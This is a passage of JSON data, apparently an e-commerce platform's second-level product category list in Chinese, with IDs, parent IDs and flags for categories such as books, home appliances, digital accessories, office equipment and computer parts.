,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20301,"name":"期刊报纸现刊/单刊/过刊","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20343,"name":"社会科学","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20305,"name":"生活","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20335,"name":"体育运动","parent_cid":20015,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20337,"name":"图书周边","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20321,"name":"外语/语言文字","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20326,"name":"文化/信息与知识传播","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20302,"name":"文学","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20300,"name":"小说","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20308,"name":"艺术","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20336,"name":"医学卫生","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20344,"name":"育儿书籍","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20338,"name":"娱乐时尚","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20340,"name":"政治军事","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20358,"name":"哲学和宗教","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20342,"name":"知识服务/读书卡","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20345,"name":"自然科学","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20320,"name":"字帖/练字帖/练字板/毛笔字贴","parent_cid":20015,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20353,"name":"自我实现/励志","parent_cid":20015,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20361,"name":"自由组合套装","parent_cid":20015,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20297,"name":"其他","parent_cid":20015,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21043,"name":"画具/画材/书法用品","parent_cid":20069,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21341,"name":"教学演示/展示告示用品","parent_cid":20069,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20910,"name":"文具","parent_cid":20069,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20961,"name":"文具","parent_cid":20069,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21418,"name":"音乐影视音像","parent_cid":20078,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21419,"name":"出版物电子书","parent_cid":20079,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21420,"name":"自出版电子书","parent_cid":20079,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21486,"name":"节日用品","parent_cid":20090,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21491,"name":"文化创意用品","parent_cid":20090,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":33500,"name":"便携电源","parent_cid":20000,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33506,"name":"笔记本电脑配件","parent_cid":20000,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20141,"name":"车载数码配件","parent_cid":20000,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33502,"name":"电子书配件","parent_cid":20000,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20134,"name":"对讲机设备","parent_cid":20000,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33499,"name":"干电池/充电电池/套","parent_cid":20000,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33505,"name":"家电影音周边配件","parent_cid":20000,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20140,"name":"胶片相机配件","parent_cid":20000,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33497,"name":"MP3/MP4配件","parent_cid":20000,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20137,"name":"平板电脑配件","parent_cid":20000,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20131,"name":"手机配件","parent_cid":20000,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20127,"name":"数码包/收纳/整理","parent_cid":20000,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20142,"name":"数码家电保护贴","parent_cid":20000,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33503,"name":"数码相机配件","parent_cid":20000,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20133,"name":"数码相框","parent_cid":20000,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33501,"name":"数码周边","parent_cid":20000,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33498,"name":"USB数码周边","parent_cid":20000,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20126,"name":"直播/摄影配件","parent_cid":20000,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20147,"name":"DIY笔记本","parent_cid":20001,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20146,"name":"DIY兼容机","parent_cid":20001,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20145,"name":"DIY一体机","parent_cid":20001,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33930,"name":"功能机","parent_cid":20007,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31860,"name":"智能机","parent_cid":20007,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32020,"name":"电玩周边","parent_cid":20024,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20383,"name":"DS/3DS专用配件","parent_cid":20024,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20408,"name":"方向盘","parent_cid":20024,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20445,"name":"家用游戏机","parent_cid":20024,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20386,"name":"PSP专用配件","parent_cid":20024,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20387,"name":"PS主机专用配件","parent_cid":20024,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20409,"name":"任天堂 SWITCH配件","parent_cid":20024,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20454,"name":"任天堂掌机配件","parent_cid":20024,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20446,"name":"手柄充电器","parent_cid":20024,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20447,"name":"手柄硅胶套","parent_cid":20024,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20388,"name":"WII/WIIU专用配件","parent_cid":20024,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20389,"name":"XBOX专用配件","parent_cid":20024,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20401,"name":"摇杆","parent_cid":20024,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20436,"name":"游戏软件","parent_cid":20024,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20452,"name":"游戏软件平台","parent_cid":20024,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20434,"name":"游戏手柄","parent_cid":20024,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20435,"name":"游戏掌机","parent_cid":20024,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20433,"name":"其他配件","parent_cid":20024,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20785,"name":"壁挂洗衣机","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33848,"name":"冰吧","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20702,"name":"冰箱","parent_cid":20044,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20784,"name":"冰洗烘套装","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20747,"name":"冰洗套装","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20748,"name":"厨房大电","parent_cid":20044,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20749,"name":"厨房空调","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20786,"name":"大家电配件","parent_cid":20044,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20787,"name":"电视机配件","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20756,"name":"电子鞋柜","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20746,"name":"儿童空调","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20733,"name":"烘干机","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20759,"name":"集成家电","parent_cid":20044,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20790,"name":"集成热水器","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20755,"name":"激光电视","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20704,"name":"酒柜","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20703,"name":"空调","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20758,"name":"空调套装","parent_cid":20044,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20718,"name":"冷柜/便携冷热箱","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20783,"name":"内衣清洗机","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20752,"name":"平板电视","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33847,"name":"嵌入式保温抽屉","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20734,"name":"热水器","parent_cid":20044,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20751,"name":"商用电视","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20750,"name":"商用冷链","parent_cid":20044,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20754,"name":"洗烘套装","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20753,"name":"新风空调","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20732,"name":"洗鞋机","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20731,"name":"洗衣机","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20757,"name":"移动空调","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20788,"name":"移动洗澡机","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20789,"name":"衣物护理机","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33020,"name":"折叠洗衣机","parent_cid":20044,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20821,"name":"普通U盘","parent_cid":20049,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20823,"name":"闪存卡","parent_cid":20049,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20820,"name":"手机U盘","parent_cid":20049,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20826,"name":"私有云存储设备","parent_cid":20049,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20825,"name":"移动固态硬盘","parent_cid":20049,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20824,"name":"移动硬盘","parent_cid":20049,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20911,"name":"CD播放机","parent_cid":20075,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20990,"name":"耳机","parent_cid":20075,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21410,"name":"工程解决方案","parent_cid":20075,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21360,"name":"黑胶唱片机","parent_cid":20075,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20913,"name":"Hifi音箱/功放/器材","parent_cid":20075,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21409,"name":"家庭影院配件","parent_cid":20075,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20989,"name":"卡座","parent_cid":20075,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21172,"name":"扩音器/录像机","parent_cid":20075,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21158,"name":"麦克风/话筒","parent_cid":20075,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32421,"name":"MP3/MP4/iPod/录音笔","parent_cid":20075,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21128,"name":"收音头","parent_cid":20075,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21456,"name":"数字电视机顶盒","parent_cid":20075,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21185,"name":"随身听/便携视听/收音","parent_cid":20075,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21275,"name":"外置声卡","parent_cid":20075,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21457,"name":"网络高清播放器","parent_cid":20075,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21277,"name":"舞台设备","parent_cid":20075,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21150,"name":"影碟机/DVD/蓝光/VCD/高清播放器","parent_cid":20075,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21411,"name":"影音家电配件","parent_cid":20075,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21019,"name":"音箱/音响","parent_cid":20075,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21408,"name":"其它影音产品","parent_cid":20075,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20917,"name":"XR设备","parent_cid":20081,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21364,"name":"运动跟踪器","parent_cid":20081,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32017,"name":"智能穿戴","parent_cid":20081,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21293,"name":"智能出行","parent_cid":20081,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21422,"name":"智能儿童手表","parent_cid":20081,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32192,"name":"智能飞行","parent_cid":20081,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32035,"name":"智能监护","parent_cid":20081,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21292,"name":"智能健康","parent_cid":20081,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32019,"name":"智能健身","parent_cid":20081,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21362,"name":"智能机器人","parent_cid":20081,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21299,"name":"智能配饰","parent_cid":20081,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32025,"name":"智能平衡车","parent_cid":20081,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32036,"name":"智能清洁","parent_cid":20081,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21424,"name":"智能设备配件","parent_cid":20081,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21297,"name":"智能摄像","parent_cid":20081,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33496,"name":"智能摄像","parent_cid":20081,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21296,"name":"智能手表","parent_cid":20081,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21295,"name":"智能手环","parent_cid":20081,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31988,"name":"智能物联","parent_cid":20081,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21466,"name":"智能语音转译设备","parent_cid":20081,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21423,"name":"智能支付终端","parent_cid":20081,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32037,"name":"其他智能物联","parent_cid":20081,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31870,"name":"平板电脑/MID","parent_cid":20087,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21575,"name":"办公设备配件及相关服务","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21633,"name":"办公用品","parent_cid":20095,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32193,"name":"办公用纸","parent_cid":20095,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21538,"name":"保管箱","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21539,"name":"保险箱","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21552,"name":"包装设备/标牌及耗材","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21537,"name":"传真/通信设备","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21571,"name":"磁盘刻录存储类","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32043,"name":"打印机","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21555,"name":"打印机耗材/配件","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21529,"name":"点/验钞/收款机及配件","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31986,"name":"封装设备","parent_cid":20095,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21553,"name":"复合复印机","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21572,"name":"复合复印机耗材/配件","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21542,"name":"服务类","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21544,"name":"高拍仪","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21535,"name":"广告/印刷/绘图设备","parent_cid":20095,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32195,"name":"会议音频视频","parent_cid":20095,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21533,"name":"胶带","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21532,"name":"胶卷","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32194,"name":"门禁考勤器材","parent_cid":20095,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21570,"name":"墨粉硒鼓耗材类","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21531,"name":"墨水","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21540,"name":"扫描仪","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21556,"name":"扫描仪耗材/配件","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21536,"name":"绳索/扎带/办公线材","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31985,"name":"收银设备","parent_cid":20095,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21543,"name":"碎纸机","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21551,"name":"条码扫描/采集器材","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21541,"name":"投影机","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21557,"name":"投影机耗材/配件","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21563,"name":"智慧零售设备","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":32040,"name":"装订耗材","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21561,"name":"其它办公设备","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21573,"name":"其它办公设备配件","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21530,"name":"其它","parent_cid":20095,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21547,"name":"其它耗材","parent_cid":20095,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21584,"name":"CPU","parent_cid":20098,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21585,"name":"CPU主板套装","parent_cid":20098,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21606,"name":"电脑视听配件","parent_cid":20098,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21602,"name":"电脑周边","parent_cid":20098,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21592,"name":"电源","parent_cid":20098,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21597,"name":"服务器/工作站/企业级配件","parent_cid":20098,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21598,"name":"固态硬盘","parent_cid":20098,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21593,"name":"键帽","parent_cid":20098,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21594,"name":"键盘","parent_cid":20098,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21603,"name":"键鼠套装","parent_cid":20098,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21591,"name":"机箱","parent_cid":20098,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21608,"name":"机箱电源风扇套装","parent_cid":20098,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21601,"name":"机械硬盘","parent_cid":20098,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21586,"name":"K歌/直播声卡套装","parent_cid":20098,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21588,"name":"内存","parent_cid":20098,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21596,"name":"散热器/风扇","parent_cid":20098,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21589,"name":"声卡","parent_cid":20098,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21604,"name":"手写输入/绘图板","parent_cid":20098,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21599,"name":"无线鼠标","parent_cid":20098,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21590,"name":"显卡","parent_cid":20098,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21595,"name":"显示器&支架","parent_cid":20098,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21607,"name":"虚拟现实设备","parent_cid":20098,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21600,"name":"有线鼠标","parent_cid":20098,"level":2,"enable":1,"is_leaf":true,"industry_s